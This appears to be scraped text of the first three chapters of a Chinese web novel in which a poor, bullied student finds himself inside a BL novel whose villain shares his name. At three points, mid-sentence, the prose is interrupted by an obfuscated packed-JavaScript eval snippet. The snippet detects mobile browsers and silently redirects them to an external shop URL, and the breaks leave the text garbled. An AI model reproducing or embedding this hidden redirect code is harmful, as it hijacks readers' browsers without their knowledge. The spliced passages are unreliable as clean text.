《穿书反派怒改生子设定》 1. 第 1 章 孟弃是个弃儿。 因为眼睛患有小行星透明症而被原来的爹妈狠心遗弃在垃圾站,恰巧被当时在垃圾站附近拾荒的孟家二老捡回来,悉心养到现在。 孟家二老一辈子无儿无女,捡到孟弃对他俩来说那就是上天的恩赐,所以最初孟弃并不叫孟弃,而是叫孟天赐,但后来总有人说“天赐”这个名字太尊贵了,怕身世潦草的孟弃压不住反而弄巧成拙,又因为常言道贱名好养活,所以孟家二老掂量了一段时间后便给孟弃改了名。 一直在穷乡僻野生活着的人哪里知道小行星透明症是个什么病,所以在孟家二老刚捡到孟弃时,乍一看见孟弃那对像散了黄的鸡蛋似的眼珠子里总有那么些飘来荡去的东西时还吓了一大跳,以为孟弃天生是个小瞎子,心想怪不得会被别人给扔了呢。 但即便如此孟家二老依然把孟弃抱回了家,当做小瞎子精心养了一年多,同时攒了一年多的钱,一年之后就揣着钱带着孟弃怀着忐忑不安的心去医院给孟弃瞧了病,待医生说出这病并不影响孟弃的视力更不妨碍孟弃的健康之后才彻底放了心,之后便把孟弃当成正常孩子一样养。 但孟弃的那双眼睛一看就和正常的孩子不一样,又怎么可能完完全全把他当成正常的孩子来养?! 就算孟家二老想这么做,周遭那些不明就里的邻居,特别是那群是非观尚不健全的小孩子们也不会完全按照他俩的意愿来做啊,因此因为这双眼睛的缘故,从小到大孟弃可没少被别人欺负,加之他又没有年轻力壮的爸妈为他出头,只有出了事就先想着息事宁人的守旧老人在身边劝他退一步海阔天空,久而久之就养成了他当面忍耐扭头就哭并只会偷偷在小本本上狠狠记那些人一笔的受气包性子。 这种情况一直持续到孟弃上初中才有所好转。 彼时的孟弃虽仍会继续忍耐,但已经鲜少哭了,而且有时候被逼急了还会跳起来反击那么一次两次,不再像小时候那样光会一味退让。 只是反击的结果都不太理想。 但聊胜于无,多多少少能给其他人带去一丢丢的威慑力,让他们不再那么的肆无忌惮,再加上这个时候的孩子已经逐渐开始辨是非明事理,因此欺负孟弃的人少了不说,他还交到了两个知心朋友呢!虽然后来大家考上了不同的高中,没能继续在同一处学习玩耍,但假期里可以聚一聚啊,孟弃很满足。 不过孟弃在填报高考志愿时任性了一回。 为了就近照顾年迈的爷爷奶奶,孟弃放弃了去一线城市上好大学的机会,思虑再三后选择留在他家所在的市区读了一所不上不下的二本院校,即使他的高考分数远超他所填报的那所大学的录取分数线。 他没先把自己的高考志愿告诉给任何人,包括他的那两个朋友,而是在确定好一直以来总是欺负他的那几个人没有一个人报考他想报考的这所大学之后才填报了志愿,并在等待录取通知书的这段时间里打听到那几个人都考去了省外才彻底放下心来。 这样的结果是近期为数不多的好消息里最让孟弃开心的一个!因为这预示着他的新生,预示着在他踏入大学校门的那一刻起就能与昨日种种彻底告别。 而且老人家不懂哪个大学好哪个大学差,在他们的认知观念里能考上大学就是文曲星下凡,因此收到大学录取通知书的这天,孟家二老轮番捧着孟弃的录取通知书翻来覆去地看了老半天,一度笑得嘴巴都合不上,脸上的陈年老褶都给笑开了,猛一看上去像是年轻了十多岁。 这喜庆的画面让本来对眼前的结果有稍许失落的孟弃都跟着开怀不少。 孟家二老欣赏完孟弃那张大红色录取通知之后便一脸兴奋地相携着往外走,说是要去村西头小卖部买些好吃的回来给他们的大孙子好好地庆祝庆祝,这时候孟弃并没有像往常一样拦着他们,不让他们乱花钱,而是笑着对孟家二老说,“爷爷奶奶,给我买猪头肉吧,我想吃猪头肉了。” 有肥有瘦糯而不腻,且相对于其他部位便宜超多的猪头肉可是孟家祖孙三人的心头好,凡是他们中的谁想打牙祭时这猪头肉一定是首选,只需十来块钱就能拎回来大半个头呢,切成薄片后再搭配着清甜爽口的黄瓜片来拌一拌,那味道美得嘞,足够他们祖孙三人吃个满足。 但今天孟弃的爷爷却大笑着朝孟弃摆手,爽朗的声音瞬间便翻出老孟家那半人高的墙头去,又随风不知道传出去多远,“乖乖,今天咱们不光吃猪头肉,爷爷再给你割二斤牛肉回来,还要再买两根红肠炒着吃哩!” 虽然孟弃也想吃牛肉和红肠,但那要好几十甚至上百块呢,合计着得翻三五天的垃圾桶才能赚回来这些钱,孟弃真心舍不得,可又不忍心扫他爷爷的兴,于是便眨了眨那双流光溢彩的眼睛,略寻思一下后笑着对他爷爷说,“爷爷,我觉得吧一斤牛肉就够了,咱家可没有冰箱,这大热的天吃不完也放不住的……” “吃得完吃得完,俗话说半大小子吃穷老子,你一个人就能吃得完,”孟弃的爷爷挥手打断孟弃的话,满面红光地继续对孟弃说,“今天是个好日子,咱们都敞开了肚皮吃,爷爷再打上一斤老白干,等会儿你陪爷爷喝一口,咋样哩?” 听他爷爷说完最后这句话,孟弃连忙点头应允。 他爷爷盼着他长大成人,爷孙俩能一起小酌两口的这一天不知道盼了多久,他更不能再多说什么扫他爷爷的兴。 村西头的小卖部距离孟家有二里地远,通常十来分钟就能打一个来回,但今天可是个不平常的日子,估计孟家二老去小卖部买好吃的回来庆祝是真,但借机向邻居们炫耀他们的大孙子孟弃考上了大学更是真! 这可是光耀门楣的大好事情,必须广而告之,因此留在家里独自等待的孟弃等他的爷爷奶奶回来吃饭,一等就等了半个多钟头。 等待期间孟弃也没闲着,除了珍之重之地把大学录取通知书放好之外,他还把之前跟着他爷爷奶奶出去收废品时收来的一本书拿出来看了半天。 这本书可不是什么专业知识类的书籍,也不是国内外名篇名著,而是一本眼下爆火的网络小说的出版实体书,封面很花哨,整体也不厚,腰封处写着“当下十大网络畅销书NO.2”这几个大字。 无论排名第一还是第二,按照孟弃的阅读习惯来说是不会主动去翻看这类书籍的,因为他把全部心思都用在了汲取专业知识上面,没有多余的时间和精力分给这类课外书籍。 但那天他在整理收上来的废品时无意间把这本书碰到了地上,捡起来的时候书页无风翻开,而翻开的那一页里赫然露出来两个特别熟悉的字:孟弃。 原来是这本书中的某个角色也叫“孟弃”,和他重名。 一时间孟弃只觉得可神奇了,而且也想看一看和他重名的这位书中人物有着怎样的精彩人生,所以他就把这本书留了下来,没和其他废品一起送去收购站。 最开始时孟弃还以为书中的“孟弃”是主角来着,觉着“他”即使没有金手指也该有主角光环,好像大部分网文作者都喜欢这么写。 虽然在这之前孟弃并没有看过网络小说,但他的班里可是有不少同学都是看过的,并且他的同学们还会在课间休息时互相讨论小说里的故事情节,他听到的设定差不多都是这样的:要么跳悬崖不死,要么遇车祸不残,要么帅哥美女转角遇见,要么武林秘籍随处可捡…… 所以他下意识以为书中的“孟弃”也该是这样的。 这一想法也是吸引孟弃把这本书留下来的最大原因,因为他觉得他自己的人生没有什么出彩的地方,但是看到和他同名同姓的人出彩也算是一种慰藉,那种感觉大概就像是在看平行世界里光彩夺目的自己一样欣慰加兴奋。 可是看了几页之后孟弃就发现了书中的这位“孟弃”并不是主角,而是一个小配角,大反派,并且还是喜欢着书中主角,为此时时刻刻给主角的白月光下绊子的大反派…… 更让孟弃震惊的是这本书的主角是个男人。 换句话说就是书中的“孟弃”是个男人,喜欢男人,还专门毁人姻缘,叠buff叠得那个溜哦,让人忍不住咋舌,而且短短几页纸就已经把男主角的白月光整得没啥招架之力了,看着很让人唏嘘的。 现实中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467775|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的孟弃可不是这种得理不饶人没理搅三分的性格,看明白书中“孟弃”的人设后他几乎是皱着眉头往下看的,一边感慨作者的超绝脑洞一边在心里疯狂否定书中的世界是他的平行世界。 随着后面的剧情越来越炸裂,至少对于循规蹈矩的孟弃来说是这样的,他实在看不下去了,就随手把那本书丢到了犄角旮旯里,要不是因为今天太闲他也想不起来继续看。 当然,继续往下看的原因已经不再是想看书中“孟弃”的出彩人生,而是想知道奇葩“孟弃”的结局是不是和他想象的一样悲催。 怀着这种吃瓜的心理,孟弃捧着那本书又看了好几页,直看到书中“孟弃”用手段爬上了男主的床后才作罢。那些既陌生又直白的动作描写看得他目瞪口呆不知道说些啥好,就想再次把书丢回到犄角旮旯里去。 这本书的作者不仅把男主塑造成了一夜七次郎,还用超长篇幅描写了让人随便看两眼就血脉偾张的过程…… 孟弃眯着眼睛快速把这部分内容翻过去,原本是想直接跳到最后看奇葩“孟弃”的结局来着,但就在这个时候他家大门口突然传来他爷爷奶奶推门而入的声音,吓得他一甩手,那本书就哪儿来的回哪儿去了。 接着他爷爷中气十足的声音就自院子里传过来,“乖乖,快来看,爷爷奶奶给你买了一个大西瓜!” “好的爷爷,就来!” 孟弃晃了晃脑袋,把一种新奇的,诡异的,说不上来是慌张还是难受的情绪甩到一边去,并抬手揉了揉脸,待脸色恢复正常后才跑向屋外,朝孟家二老撒娇道,“还有西瓜吃呀,真好。” “得谢谢你庆收伯伯,他听说你考上了大学也跟着高兴了半天,今天在他那里买东西时还给打了折呢,”孟弃的奶奶说着便抬手指向那个大西瓜,示意孟弃去看,“这么大一个西瓜才收了三块五,便宜了得有一半多。” “好的奶奶,我记住了,等我遇见庆收伯伯时一定会跟他说谢谢的。” 孟弃乖巧回应着,同时麻利地上手把西瓜抱到院子西南角的大水缸旁边清洗,清洗过后重新抱回来,并在院子中央的那张石桌上切开,分别他爷爷奶奶各拿了一块,最后才坐回石椅上吃起自己那块来。 过程中孟家二老一直微笑着看着孟弃忙活,眼里有数不尽的疼爱,亦有呼之欲出的骄傲。 吃了几口后,沁凉甜爽的西瓜很快便驱走了孟弃心里因那本书引起的异样感觉,并且随着他的爷爷奶奶很快把晚饭摆满了一桌子,他彻底就把那本书丢到爪哇国去了,直至醉意朦胧地躺到床上之前都没再想起来。 考上大学等于终于长大成人,成年又等于可以适量饮酒,孟弃他爷爷早就盼着这一天呢,因此晚饭期间不光他自己小酌了二两酒,同时也给孟弃倒了小半杯,爷孙俩就着酱香四溢的猪头肉和柔滑劲道的卤牛肉,听着晚风捎来的鸟叫和蝉鸣,美美地饱餐了一顿。 午夜时分从睡梦中惊醒的孟弃睁眼的瞬间脑海里闪过的第一个念头是“书中孟弃他为什么要那么做啊”,接着又想“作者是男的吗怎么写得那么逼真”,最后念头又转到“爱情到底是什么?真能让人如此癫狂吗?”上面来…… 想不通的孟弃鬼使神差地又跑下床把那本书找了回来,没敢开灯,直接就着手机自带的手电筒继续往下看。 要不说这部小说能火呢,作者也太会留勾子引着人继续读它了,孟弃撇了撇嘴,直接把书翻到了三分之二处。 很好,意料之外的终于来了! 书中“孟弃”竟然死了,还是死于难产! 孟弃虽然想过书中“孟弃”的结局应该不会多好,但真的没想过他会死,且还是死于这种他想破脑袋也想不到的死法…… 男人,难产,简简单单的四个汉字,单拎出来每一个字孟弃都认得,但合在一起时直接就把孟弃的CPU给干烧了。他愣愣地盯着那几行字看了半天,突然就默默地合上书页,然后一抬手把书丢出去两丈远,之后更是拉过被子蒙头睡起大觉来。 刚刚一定是在做梦。 还是个让他心酸又心堵的噩梦。 2. 第 2 章 转天一大早,当清晨的第一缕阳光穿过墨绿色的窗棂斜斜地洒在孟弃的眼皮之上时,孟弃才挣扎着想要睁开眼睛,但在将睁未睁之际他先下意识扭过头去躲开了那束温热刺眼的光线,待那双比太阳光还要耀眼几分的眼睛彻底适应之后才慢慢地从床上坐了起来。 这个时候的孟弃是轻松惬意的,因他是被阳光唤醒的不是被闹钟吵醒的而身心愉悦。 但孟弃的好心情并没能持续太长时间,下一秒便在他的视线扫过昨天晚上被他随手丢在地上的那本书时消失殆尽,因为这时他忽然间就记起了昨晚被噩梦惊醒之后发生的事情,然后那些夸张的、狂野的、贪婪的、浸泡在欲望里的、弥散着汗水咸湿味道的词汇就如同雨后春笋般排着队地往他脑子里钻,并自动自发地在他的大脑深处拼凑出一副实质的画面来,画面里的其中一人还顶着一张和他极为相似的脸…… 孟弃控制不住地抽了抽眼角,抖落了一身的鸡皮疙瘩,并在快速移开视线的同时默默地把那本书的作者拉进了永久性黑名单。 某个夏日的某个清晨,某个省份的某个偏远乡村,有位少年因为一个网文作者过于大胆的用词轻轻地碎掉了。 不过前后碎了没几秒钟孟弃就又满血复活了,因为他又记起今天是他和他的两个好朋友约定好要见面的日子! 一想到这里孟弃便抑制不住地重新兴奋起来,接着便弹射一般冲出房间去洗漱,同时一颗心都要先他一步飞到约定地点去了,可见他是多么的想立马就见到他的那两个好朋友。 孟弃的两个好朋友分别叫贺聪和王博远。 这俩人都是孟弃初中时期的同班同学,贺聪还曾是他们班的纪律委员,个高块头大,初二的时候就猛蹿到一七六了,而一七六的身高对于当年的那群小豆丁们来说是相当有威慑力的,所以推选贺聪来当他们班的纪律委员绝对是实至名归人心向背的一件事。 反观王博远呢,就偏瘦小,到现在也才一七八,穿上鞋子堪堪一八零,比一米八多的孟弃和贺聪矮了一截儿。 目前他们仨都收到了大学录取通知书,这也就意味着他们很快就要离开老家去大学报道。 据王博远那个正在读大二的堂哥说新生入学装备里头必须得有拉杆箱,装的东西多不说,在途中想要休息的时候还可以拿来当椅子坐,放在宿舍里时又可以当一个可以移动的衣柜来用,质量又高,用处且多着呢! 于是在王博远的提议下,孟弃和贺聪也同意入手一个拉杆箱。 今天就是他们仨约定着去县里的箱包店里买拉杆箱的日子。 从小到大但凡有空闲时间,孟弃都会跟着孟家二老去拾荒,有时候也跟着走街串巷的去收废品,而他靠卖废品换来的钱都由孟家二老偷偷攒着呢,十多年攒下来,攒到现在也有几千块,昨天晚上他奶奶就把存着这笔钱的存折拿给他了,让他拿去买上大学时需要的东西。 孟弃本来不收,他奶奶硬是让他拿着,于欣慰中难掩忧愁地对他说,“爷爷奶奶都是大字不识一个的,这时候也帮不上你的忙,你拿着这钱看着添置吧,想买啥就买啥,学费的事情不用你操心,爷爷奶奶另外给你准备好了。” 这话听得孟弃鼻子一酸差点儿落泪。 孟弃一直知道自己的身世,孟家二老从没想着瞒他,不仅如此,甚至还透漏过如果孟弃想去寻找他的亲生父母只管去,他俩不会拦着他的意思。 在赞同孟弃寻找家人这件事情上孟家二老有他们自己的考量,毕竟他俩的年纪在这里摆着呢,都已经到了随时和阎王爷争命的时候,万一哪天没争过,留孟弃一个人在世上多可怜…… 虽然孟弃的父母曾经狠心把孟弃丢了,但毕竟血浓于水,如果现在孟弃去找他们的话他们应该是能接受孟弃的,如此孟弃也能再有一个家。 有家就有人牵挂,孟弃也就不可怜了。 可孟弃也有他自己的坚持。 孟弃不止一次对孟家二老说过他这辈子都跟着他俩姓孟,他的家人只有他们两个,并且他和齐天大圣一样是从石头缝里蹦出来的,没有父母也不需要父母,所以他永远也不会丢下他们去找所谓的父母。 因为从始至终都把自己当成爷爷奶奶的血缘至亲,所以孟弃从来没想过他的爷爷奶奶会把他赚来的那份钱另找存折存起来,因此当他奶奶把那本已经用了十多年但看上去依然和新的一样的存折拿给他的时候,他先是很难过,之后才心酸着想流泪。 抬眼去看他最爱的爷爷奶奶,他们的眼睛已经混浊,脸上的皱纹很深,头发也花白一片,而且他们身上的衣服也已经洗得发白,差不多要和他们的头发一个颜色…… 爷爷奶奶上次买新衣服是什么时候的事情? 五年前,那时候他上初二。 初二的某一天他们班的班主任突然就说下周要开一次家长会,和他们的家长聊聊他们在学校内外的学习情况,趁着还来得及,想和家长们一起狠抓他们的教育,原因是他们那里最好的那所高中新出了一项政策,即针对中考成绩前一百名的学生免收学杂费,大概九百块钱的样子。 对于那时候的一些农村家庭来说,九百块钱可不是小数目,有的家庭甚至会因为交不起这九百块钱让家里的孩子辍学。 孟弃把这件事情说给他的爷爷奶奶听,他们二老是既激动又忐忑的,同时为了表示对老师的尊重,接下来的几天里他俩又是理发又是买新衣服,很是忙碌了一阵子。 现在他俩身上穿着的衣服就是那时候买的,洗了一水又一水,缝缝补补了一年又一年。 孟弃跟着他的爷爷奶奶去捡垃圾收废品的目的就是想尽最大能力减轻爷爷奶奶的负担,但到头来他赚的钱却一分不少地回到了他的手里,爷爷奶奶愣是一分钱都没花他的,孟弃就可伤心了,当然更多的是心疼他的爷爷奶奶。 但事情已然这样,眼泪解决不了问题,在爷爷奶奶期盼的目光中,孟弃只犹豫了一瞬便把存折接过去了,并在心里暗暗发誓一定会在大学里继续好好学习,等毕业后找一份最好的工作赚最多的钱来奉养他的爷爷奶奶,让两位老人每天都能吃香的喝辣的,还不用再干活! 眨眼就到了和贺聪、王博远约定好的时间,孟弃已经提前等在约定地点,并在看见贺聪和王博远的瞬间朝他们挥动右手打招呼。 但贺聪和王博远看见孟弃的时候好像并不怎么开心,不像以前似的笑着闹着就朝孟弃冲过来,然后仨人紧紧抱在一起玩闹上一阵子。 孟弃不知道原因,略紧张地放下胳膊等着贺聪和王博远过来。 贺聪和王博远确实不开心,而且不开心的原因还和孟弃有关,因为他俩最近几天才知道孟弃竟然自作主张降级报考了本地的二本大学。 他俩一直以为孟弃会选北上广的985或者211呢!谁能想到结果会是这样啊,身为孟弃最好的朋友的他们真心替孟弃感到惋惜和痛心。 孟弃把自己之所以这么做的原因解释给贺聪和王博远听,王博远表示理解,但贺聪却表示理解不了一点儿,“你这个决定做得太儿戏了!” “谁都知道高考意味着什么,多少人为了能在考试的时候做对一道题,好为能去更发达的城市更厉害的大学充实自己而拼尽全力,孟弃,你是有这个能力的,也得到了这个机会,你却放弃了!你脑残吗?!你告诉我你每天起早贪黑地学习为的是什么?” 为什么? 为了证明自己的能力,为了让自己有自主选择的权利,为了让遗弃他的人永远后悔……还为什么? 孟弃张了张嘴,却说不出一个字来。 面对盛怒中的贺聪,孟弃是打心底发怵的,以前被一群人围着欺负的记忆袭来,瞬间便让他的面色都变白了,同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467776|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时一双明显蓄泪的眼睛也惊魂不定地盯住贺聪,好像只要贺聪再多说一句话,他马上就能哭出声来。 站在旁边的王博远见情况不对,立马抬手勾住贺聪的脖子打趣道,“贺爹怎么又发火?不是说好了不发火,有话好好说的吗?” “好好说个屁,你看他,”贺聪的食指朝孟弃点了两下,孟弃的表情更紧绷了,贺聪见状只好闭上眼睛拼命往下压火气,再睁开眼睛时已经换上了一副假笑的表情,“好,不发火了,你赶紧把眼泪给我往回收一收。” 孟弃也只有在贺聪和王博远面前时才会想哭就哭,一般人想看见他的眼泪还得费些劲呢,不过他的眼泪来得快去得也快,贺聪刚转换了表情,他的眼泪就消散了,除了那双仿若装着银河系的眸子外,再看不见别的。 贺聪无语摇头,小声嘟囔着,“真是服气了……” 打又不能打,骂又骂不得,憋死他算了。 关键时刻又是王博远跳出来暖场,“好啦好啦,这个话题就说到这里吧,咱们赶紧去买箱子,之后去打场篮球怎么样?” “可以,但是去之前我还有一句话要对孟弃说。” 贺聪说着转向孟弃,脸上的表情也变得严肃起来,搞得孟弃又开始控制不住地跟着紧张。 王博远伸手拍了拍孟弃的肩膀安抚他。 贺聪说,“我生气的原因不光是因为你轻而易举就放弃了一个好的人生起点,而是你在做决定的时候没有告诉我和远子,这会让我觉得你并没有把我俩当朋友……” “不是的!”孟弃慌忙解释。 贺聪抬手打断了他,没给他解释的机会,“你先听我说完。” “我知道你一向主意正,做了决定之后别人很难再改变你,但是如果你提前把你的顾虑说给我和远子听,我们是可以一起想办法帮你解决眼前的难题的。” “你不是说你怕去了太远的地方之后没办法照顾你的爷爷奶奶吗,这个问题在我看来很好解决,我和远子出钱帮你的爷爷奶奶在你的学校附近租一间房子是不是可以?这样也就先委屈你们四年,四年过后我会回来咱们这里进体制内工作,远子应该也会回来接管他们家的制衣厂,到那时候我俩接棒照顾你的爷爷奶奶,你就在外继续你的学业,考研,考博,考博士后,最后考进国家科研单位做你喜欢的科研工作,这样是不是可以?” “明明有解决办法,你却选了最让我们出乎意料也是最傻逼的一个,你说我和远子该不该生气呢?” 生气是该生气的,但他也确实不该花他们的钱啊,谁家的钱都不是大风刮来的,更何况贺聪和王博远又不欠他的,反而自从认识贺聪和王博远以来的这些时间里他接受他俩的帮助更多,就说那些帮助吧,他都不知道什么时候才能还完那些恩情呢!他真的不能再麻烦他们了。 这也是孟弃决定不告诉他俩的原因。 孟弃心虚着朝贺聪点头,“对不起,你们是该生气,所以想骂我的话就继续骂吧,骂到你们消气为止,好不好?” “骂你能改变什么,还不是白费力气。”贺聪和王博远对视一眼后同时一左一右揽着孟弃的肩膀往箱包店的方向走。 说开后的贺聪已经消气了,他一边走一边曲起食指敲了两下孟弃的头,恨铁不成钢地说,“只此一次下不为例啊,以后再有事情时一定要及时告诉给我和远子,懂?!” 好不容易才让贺聪消气了,孟弃可不敢不应,于是立马点头如捣蒜,“懂!一定!” 愉快的一天眨眼过完。 当孟弃提着新买的拉杆箱回到家的时候,一进卧室门就看见了他的枕头旁躺着一本书,正是昨天晚上被他扔到地上去的那本。 大概是他的爷爷或者奶奶帮他收拾房间的时候捡起来的。 孟弃只觉两眼一黑,眉心一跳,心想它怎么还阴魂不散呢…… 3. 第 3 章 孟弃先把新买回来的拉杆箱靠墙放好,走到床边时又皱着眉把那本书塞到书桌抽屉的最下层,然后才拿了换洗衣服去院子里冲凉。 一瓢井水兜头浇下的瞬间孟弃只觉得空气里全都散满了冰凉的小水珠,浸泡在其中的他是一整个身心舒畅,但下一秒忽然想到去上大学后就不能随心所欲地用家里的井水洗澡了,他又莫名起了点小伤感,顿了一下后忍不住又接连浇了好几瓢井水,直到过足瘾才开始擦洗起身体来。 下午和贺聪他们在学校附近的篮球场打球的时候,他不小心和一个不认识的人撞了。 当时没觉得怎样,现在冲凉时才发现大腿外侧被那人来不及收回去的脚踢出来好大一块青紫色的印子,看着怪触目惊心的,一碰也特别疼,此外膝盖上蹭破皮的地方被沁凉的井水一淋,那感觉也是相当的酸爽,一时间给他疼得呲牙咧嘴的,继续冲凉的心思都跟着消散了一大半,最终他只草草地擦洗一番后便跑回了卧室去找跌打药膏。 但跌打药膏在抽屉里放着。 要想把药膏拿出来得先拉开抽屉才行,但当孟弃伸手触碰到抽屉的把手时他忽然记起来那本书也被他放进抽屉里了,这么一耽搁,他也就不想再拿药膏了,甚至在心里安慰自己说忍忍就好了啊,反正伤得不算重,涂不涂药膏的没所谓。 或许书中“孟弃”的死给他带来的冲击太大了吧,这会儿他是真的打心底里抵触那本书。 午夜时分被疼醒的孟弃于黑暗中挪动了一下手脚,瞬间就开始后悔起来,后悔因为一本只是小配角和他重名而已、实则和他没有半毛钱关系的书做了那个不涂药膏的错误决定。 谁能想到那一脚的威力竟然这么大呢,睡一觉之后痛感已经从大腿外侧蔓延到了全身!屁股疼,腰疼,胸口疼,嗓子疼,嘴巴疼,眼睛疼,头疼……细细感受下来,一米八多的身体上几乎没有一处不疼的地方! 这迅速蔓延开来的痛感来得如此诡异,不知情的人一定会觉得孟弃是被大卡车给从头到脚碾了一遍,绝不会相信他只是被人在大腿外侧踢了一脚。 疼得受不了的孟弃挣扎着从床上坐起来,想赶紧怕下床去找出药膏来涂一涂,至少先补救补救吧,如果天亮之后还这么疼的话再去诊所看看,别是给踢出内伤来了。 但起身的过程中他觉察到了不对劲。 首先是床的软硬度不对劲。 他自己的床是村子里的木匠手工制作的木板床,很硬的那种,即使在铺了两床褥子之后给人的感觉也还是硬邦邦的,但是他现在躺着的这张床却超级软,就像书里写的那种弹簧床一样软,随着身体的挪动还会左摇右晃的。 其次是床单的手感不对劲。 现在的床单是全然陌生的柔软滑腻,摸着像…像云锦还是绸缎的,和他那床老粗布床单的手感一点儿都不一样。 由此可以推断这里很大可能不是他的卧室,至少这张床不是他的床。 再继续往周围摸索,他竟然还摸到了一个人的胳膊! 不是他爷爷奶奶那种瘦骨嶙峋的胳膊,而是一只肌肉饱满硬实的胳膊! 也就是说他的旁边正躺着一个人,很大可能还是一个酷爱健身的陌生男人! 这是什么魔幻开场啊?!给孟弃吓得直想尖叫,接下来挣扎着下床的动作也变成连滚带爬了…… 但他这边才刚动了动,床那边的人也跟着有了动静,之后就在他的双脚好不容易才摸索着踩上地面的时候,床那边的那人也同步打开了床头灯。 昏黄的光线唰地亮起,一下子便驱散了一室的黑暗。 但光明的到来并没给孟弃带来多少安全感,反而惊得他的心脏都停跳了,一口气梗在喉咙里,上不去下不来。 和他猜想的一样,这里确实不是他那间又小又破又潮湿的卧室,而是一间差不多有他家院子那么大的大卧室,装修得富丽堂皇的,一眼看过去要多华贵就有多华贵,如果不是亲眼所见,他都想象不出来世上还能有这么漂亮大气的房间。 只是房间里的摆设少得可怜,除了他身下这张超大size的床之外就只有一套双人茶桌和一台差不多铺满了半面墙的电视机了。 或许这里都不是谁家的卧室,因为看上去更像是酒店。 甭管是哪里,反正不是孟弃的家,也正因为受到这样的惊吓,此时的孟弃已经不太会思考了,而是惊魂未定地望着眼前的一切。 身后那人被孟弃吵醒后明显是不爽的,和孟弃说话时的声音里都带着压抑不住的怒意,他朝着孟弃的方向低吼,“孟弃!你又想干什么?!还没闹够吗?!” 孟弃?我吗? 孟弃被那人的声音唤回神志的同时也被吓了一跳,他惊慌失措地向后扭头,登时便对上了一双喷火的眸子。 幸亏此时的他和那人之间有段不短的距离,不然他真的怕他的皮肤会被那人眼中的怒火烧焦。 这样太可怕啦…… 搞不清状况的孟弃吓得赶紧把头扭了回来,颤着声回答那人,“我…我……” “你什么你,说话!你不是挺能说的吗!”身后那人应该是万分嫌弃孟弃的嗫喏,又厉声催促道。 孟弃闻言抖了一下,赶紧回答说,“我想回家!”想回去找爷爷奶奶,他的爷爷奶奶从来不会这样凶他。 “滚!” 孟弃:…… 虽然这个“滚”字挺伤人的,但让他滚总比把他留下来好太多了。 现在的孟弃可不想和身后那个凶神恶煞的人共处一室,因为那人的气场太强了,他可招架不住,他觉得在这里多呆一秒对他来说都是一种折磨,于是在接收到那人让他走的指令后,他根本来不及思考眼前究竟是个什么情况,站起身就要往外跑。 但下一秒他就因全身痛感的骤然回笼摔倒在了毛茸茸的地毯上,一声“哎呀”过后,全屋寂静。 导致孟弃摔倒的原因不止是因为浑身疼,还因为他的腿上一点儿力气都没有,他那两条光溜溜的大长腿绵软得就像是两根煮过头的面条,而他本人正以大字型的姿势面朝下屁股朝上地趴着。 哦,对了,这个时候孟弃才意识到他自己是裸着的,并且意识到这一点的他都要被眼前的这一幕给无语死了。 接下来的时间里孟弃就一直低垂着脑袋拖着半残的身体满屋子找衣服穿,前后花了十多分钟才拼凑出一身他能穿的,待穿戴整齐后便头也不回地拉开房门往外冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467777|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 就算是傻子也大概猜到眼前是个什么情况了。 大概,可能,也许他刚做完一场春梦。 虽然他对那场春梦的内容毫无印象,而且也不明白为什么还要续一个这么尴尬的收尾,眼下的他可没心思琢磨这些,他只想赶紧找个没人的地方悄悄地消化这一切,然后静静地等待梦醒,待醒来后就把这乱七八糟的一切通通都忘掉。 还有那本糟糕透顶的书,也要赶紧处理掉! 孟弃的右手已经握住门把手了,只需轻轻一拉,他就能逃出生天,但就在他五指同时用力的时候又横生异象,身后传来那人冰冷的声音,“孟弃,今天的事情不要让任何人知道,包括柏溪,不然……” 不然怎么样呢?杀人灭口吗? 孟弃还在等,但身后却静音了,孟弃刚想吐槽一句莫名其妙啊,吓唬谁呢,这是法治社会好不好……但“柏溪”这两个字却在他脑子里炸开了花。 柏溪?!江柏溪?! 这个既陌生又熟悉的名字无限放大了孟弃心底的恐惧,他拼命忍住回头去问那人“你是不是叫任随一”的冲动,先是匆忙“嗯”了一声做回复,之后便猛地拉开房门头也不回地跑了。 孟弃,江柏溪,任随一,是那本书里的角色名,再加上刚刚在听到“柏溪”这个名字时孟弃还用力掐过自己的大腿根,那份直冲天灵盖的痛感和现实中没有一丁点儿差别,也就是说眼下的情况已经不需要再做假设了,他不是在做梦,而是百分之百掉进了那本书所构设的世界里。 这可真的是魔幻开场了…… 接下来怎么办? 还能不能重回现实? 回不去的话他的爷爷奶奶怎么办?他好不容易考上的大学怎么办? 能回去的话要用什么办法回去?契机是什么?哪天才能回去? 一连串的问题砸得孟弃晕头转向犯恶心,他因此不得不停下来扶着墙大口喘起气来,然后慢慢在脑子里梳理这件事情发生前后的细枝末节,希望能快点把回去的契机找出来。 